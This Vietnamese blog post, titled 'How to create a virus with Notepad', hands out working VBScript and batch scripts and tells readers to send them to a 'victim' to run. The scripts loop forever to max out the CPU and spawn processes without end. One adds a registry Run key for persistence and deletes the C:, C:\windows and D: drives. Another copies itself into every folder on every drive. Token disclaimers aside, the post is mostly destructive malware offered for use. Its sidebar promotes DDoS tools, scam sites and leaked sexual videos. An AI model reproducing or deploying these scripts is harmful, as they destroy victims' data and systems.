Mạnh Tuấn Blog
  • Học Lập Trình
    • PHP - HTML
  • Đồ Hoạ
    • Ảnh Bìa Cover Đẹp
    • PSD Tổng Hợp
  • Thủ Thuật
    • Thủ Thuật Facebook
    • Blogger
    • Facebook
    • Tools DDOS Web
  • Follow me
    • Facebook
    • Google+
    • Youtube



Trang chủ / Hacking - Security / PHP-HTML / CÁCH TẠO VIRUS = Notepad

❤ CÁCH TẠO VIRUS = Notepad ❤

Unknown   Sunday, June 12, 2016   Hacking - Security , PHP-HTML   0  
Popular Posts


==Phần 1 : CÁCH TẠO VIRUS = Notepad (khuyên không nên đem đi phá hoại - nói cách khác là học cho hiễu thoy )
Nói là virus nhưng thực chất nó ko phải là virus, nó chỉ là một đoạn mã để thực hiện một điều gì đó "nham hiểm" do chúng ta viết ra. Chính vì thế "hầu hết" các đoạn mã trong đây đều ko bị antivirus chém nên các bạn yên tâm
Mình sẽ cho các bạn một số code để các bạn biết về cấu tạo của nó chứ mình khuyên các bạn không nên dùng nó đem đi phá hoại người khác và các bạn muốn biết hoạt động của nó như thế nào thì minh khuyên các bạn nên cài đặt máy ảo hoặc đóng băng các ổ trước khi sử dụng những con virus này.
==================== 1 ====================‪B1‬: vào notepad gõ cú pháp:
while true
wend
‪B2‬: Sau đó lưu lại dưới đuôi* .vbs
‪B3‬: gửi victim (nạn nhân) dụ cho victim chạy tập tin này( đừng có gắng thử nhé....không chịu trách nhiệm đâu đấy)
Đây mới chỉ là virut, nếu viết autorun cho nó nữa thì cực kỳ nguy hiểm, con này mỗi lần chạy thì nó chiếm 100% cpu của 1 luồng dữ liệu. Với máy core 2duo thì click 2 phát CPU 100%, core i3, i5 thì click 4 lần. Sau khi bị chiếm 100% cpu muốn tắt đi thì vào Task Manager tắt hết những chương trình có đuôi vbscript đang chạy. Đó là virut chạy do con người điều khiển, còn nếu viết thêm autorun để nó chạy tự động, giả sử số lần click là lớn hơn 10 thì thôi rồi, chỉ có cài lại win.
==================== 2 ====================
Xóa toàn bộ ổ C:\ của Victim
==================== 3 ====================
Trích dẫn:
msgbox"Die roai !" 'Cai nay co tac dung se tao 1 hop thong bao tren man hinh cua nan nha
On Error Resume Next
Set vip_xinh = Createobject("scripting.filesystemobject")
vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0 )& "\ vip_xinh.vbs"
Set vip_xinh2= CreateObject("WScript.Shell")
vip_xinh2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\die","wscript.exe "& vip_xinh.GetSpecialFolder(0)& "\ vip_xinh.vbs %"
On Error Resume Next
Const vic = "D:\"
Delvic
Sub Delvic()
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile vic & "*.*" , True
fso.DeleteFolder vic & "*" , True
End Sub
On Error Resume Next
Const vic1 = "C:\windows\"
Delvic1
Sub Delvic1()
Dim fso1
Set fso1 = CreateObject("Scripting.FileSystemObject")
fso1.DeleteFile vic1 & "*.*" , True
fso1.DeleteFolder vic1 & "*" , True
End Sub
On Error Resume Next
Const vic2 = "C:\"
Delvic2
Sub Delvic2()
Dim fso2
Set fso2 = CreateObject("Scripting.FileSystemObject")
fso2.DeleteFile vic2 & "*.*" , True
fso2.DeleteFolder vic2 & "*" , True
End Sub
On Error Resume Next
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop
- Lưu với tên .bat
==================== 4 ====================
On Error Resume Next
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")
popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set treomay= CreateObject("WScript.Shell")
msgbox"May tinh cua ban bi nhiem virut",,"Danger"
msgbox"May se bi lag trong 2s",,"Danger"
msgbox"Ban con 1s",,"Danger"
msgbox"Ban con 0s",,"Danger"
msgbox"May da bi nhiem virus",,"Danger"
Me.visible=false
App.Taskvisible=false
Do
Me.visible=false
App.Taskvisible=false
treomay.run "notepad",false
loop
- Lưu với tên .vbs
Cái này của ông tui vừa làm xong mở nó lên thì dĩ nhiên là treo, nhưng một điều nữa là Ram bị quá tải và lỗi, màn hình đen tui, restart lại không ăn thua vẫn đen thui như đứt bóng....
khắc phục sao đây?
==================== 5 ====================( thông báo vĩnh cữu )
msgbox "Đừng có tắt dòng thông báo này đi nếu không bạn sẽ gặp rắc rối đó!",,"Thông báo từ Hacker Microsoft"
msgbox "Định làm liều à, thử tắt lần nữa xem!",,"Thông báo từ Hacker Microsoft"
do
msgbox "Error! Máy tính của bạn đã bị các Hacker tấn công!",,"Thông báo từ Hacker Microsoft"
Loop
- Lưu với tên .vbs
==================== 6 ====================
start 1.bat
-Lưu với tên 1.bat
-khoa điện tử-máy tính mình nên tổ chức cuộc thì "Xem ai nhanh hơn nào!!" để coi ai tắt thằng này nhanh nhất....khữa ... Khữa
==================== 7 ====================( tạo thư mục mỗi khi bấm )
'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub
==================== Cách giãi cho P 7 ====================( ad post cách giãi Phần 7 lun nhé :) )
B1: Mở Notepad
B2: Gõ code:
'Thuoc Giai !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fspenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")
Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub
- Lưu với tên .vbs
==================== 8 ====================
-B1: tạo 1 file bất kỳ(1.txt, 1.bat, 1.exe...v..v..)
Vd: C:\Users\chuong\Desktop\1.txt
-B2: vào notepad
-B3 :Đánh lệnh erase C:\Users\chuong\Desktop\1.txt
-B4: lưu dưới dạng *.cmd
-B5: Chạy file *.cmd
thế là file 1.txt đã bị xóa
Các bạn đang tự hỏi ủa thế có gì đâu mà gọi là phá hoại?????
xin thưa rằng, files chạy dưới đuôi.cmd là thao tác thực hiện trên ms-dos vì vậy nó không kiêng nể ai hết...chỉ thực thi mệnh lệnh 1 cách hiệu quả thôi
-Bởi vậy....nếu bạn thay lệnh erase C:\Users\chuong\Desktop\1.txt -->>>>erase C:\Windows thì bạn nghĩ thế nào....có phải là đi tong cái win không........Bởi vậy đừng cố gắng làm điều gì ngu ngốc nhé!!!!!
Share Share Share
Hacking - Security PHP-HTML
Administrator Administrator: Hoàng Mạnh Tuấn

Không điều gì là tồn tại mãi mãi cho đến lúc bạn ngừng cố gắng! Một cậu học sinh trung học luôn có ước mơ và hoài bão...Bạn hãy làm những việc bình thường bằng lòng say mê phi thường, thành công sẽ đến với bạn!!

CÓ THỂ BẠN SẼ THÍCH

Đang tải...

No comments



Liên Kết Bạn Bè

Bài Viết Mới

Thống Kê Truy Cập

ADS

Bài đăng phổ biến

  • Full Video Nguyễn Khánh Linh 12p & 1p
    Hot Full Video Nguyễn Khánh Linh 12p và 1p =))) Download & Xem: Tại Đây Nhé! Mục Đích: Câu View =))))) Coppy Xin Ghi Nguồn: AresT2k...
  • Share Video Nguyễn Khánh Linh Full 16p
    Nguyễn Khánh Linh  đang xôn xao trên cộng đồng mạng xã hội Facebook vì lộ clip *** =)) nãy đi ngang fanpage thấy có cái clip Nguyễn Khánh Li...
  • share curl comment facebook max 100k comment
    đây là curl comment theo kiểu R andom   English  Language   Demo:  Hướng dẫn sử dụng: Các bạn tải bộ code ở phía dưới.  Upload file ...
  • Share Template Phim Blogspot Đẹp LazaTv Và Tool Grab
    Template Phim này đã bỏ lâu không dùng trắc hơn 1 năm rồi giờ lục diver thấy nên share cho anh em nào cần dùng. Lục thấy luôn cái Grab link ...
  • TUT Rename Tích ✔ Sau Tên By AresT2k1
    DEMO:    https://www.facebook.com/AresT2k1.Dz.INFO Bước 1 : ta vào link Support :    https://www.facebook.com/help/contact/56162710063862...
  • Share Code BotLike Gọn Nhẹ Full All Chức Năng Hot Nhất Hiện Nay
    Xin chào các bạn, đầu tháng 10 Mạnh Tuấn Blog Share cho các bạn một bộ code bot like cực ngon :D Chức năng cũng gần full :p. Một Số Chức ...
  • PSD Ảnh Bìa Chất
    Download
  • Ảnh Bìa Hacker Chất
    Download
  • Share Tấm Ảnh Tự Sát Facebook
    Video Test By HMT ~~ Chúc Các Bạn Thành Công !!! Còn Đây là Link Bức Ảnh Cho Ai Cần :  Tại Đây
  • TUT Buff Sub x10 x20- Web Mới Chưa Fix
    B1:  Click Vào Link Này B2: Install Token HTC  ( Nếu chưa Install Thì Cài ) và Get Token  sau đó nhập token vào  B3: khi login vào ...

Chuyên Mục Hot

Tổng Hợp Thủ Thuật Facebook Ảnh Bìa Đẹp PHP-HTML Ảnh Bìa Cover Đẹp PSD Thủ Thuật Máy Tính Hacking - Security Ảnh Bìa Tâm Trạng Tổng Hợp Thủ Thuật Blog Ảnh Bìa 7 Màu Thủ Thuật Hay Tổng Hợp Code Web Hacker Tổng Hợp Code Web Tình Yêu Ebook Hacking Tools DDOS Mod Tổng hợp Tools LOL Tools DDOS Web Kiến Thức Về Mạng Template Blog Tổng Hợp Ảnh Bìa Và PSD đẹp Ảnh Bìa Hacker Code Web Hack Like Hack Like Code Auto Facebook Code Hay Cho Blogger Font Chữ Đẹp Cover Ảnh Phần Mềm Bổ Ích Cho Máy Tính Video-Hot Ảnh Đại Diện Chất Ứng Dụng Chỉnh Sửa Ảnh Code Facebook Marketing Mini Game Nguyen-Khanh-Linh Ảnh Đại Diện Hacker Đẹp Auto Follow Facebook Auto Follow Facebook Code Botnet Brush Chứng Minh Nhân Dân Code Curl Code Hay Cho Website Và Blog Curl Like FILE PSD 3D Facebook Garena Index-Deface Nguyễn-Khánh-Linh PSD -CMND Server Hack Like Share Code Thủ Thuật Bảo Mật Website Tool Spam Facebook Video Nguyen Khanh Linh Video Nguyen Khanh Linh 16p Full HD Blogger Bảo Mật Facebook Chia Sẻ Chuyện-Game-Thủ Chứng chỉ SSL Free 1 năm Chữ Gạch Ngang Code Tự Tạo Fanpage Code Web Lừa Đảo Code get video Youtube Code-Rip-Token Gắn Backlink Hack Game Hacking Kali Linux Hacking Điện Thoại Hosting Free Icon Facebook Làng-Game Marketing Miễn Phí Tên Miền PSD Cánh Đẹp Photoshop Online Phần Mềm Hack Proxy Live Share SSH Thủ Thuật Mobile Tin Tức CNTT Tool Troll Bạn Bè TroJan RAT Tạo Kí Tự Big Text Video 27p full Video 2k 27p Video Nguyễn Khánh Linh 16p Full HD Vẽ Chibi Online Xem Tivi Online full video 2k3 hot full video 2k3 xxx nữ sinh 2k3 video 27p video 2k3 full

Bài Đăng Ngẫu Nhiên

Thủ thuật Blogspot Chuyên mục đồ họa Ảnh bìa Facebook Thủ thuật Facebook
Trang chủ
Mạnh Tuấn Blog Chia Sẻ Thủ Thuật Wapmaster, Đồ Họa, Facebook, Góc Học Tập...
© 2016-2017 Mạnh Tuấn Blog. All rights reserved. ® Mọi Thông Tin Và Hình Ảnh Trên Blog Đều Được Sưu Tầm. Coppy Vui Lòng Để Nguồn! Email liên hệ: tuanhoangmanh201@gmail.com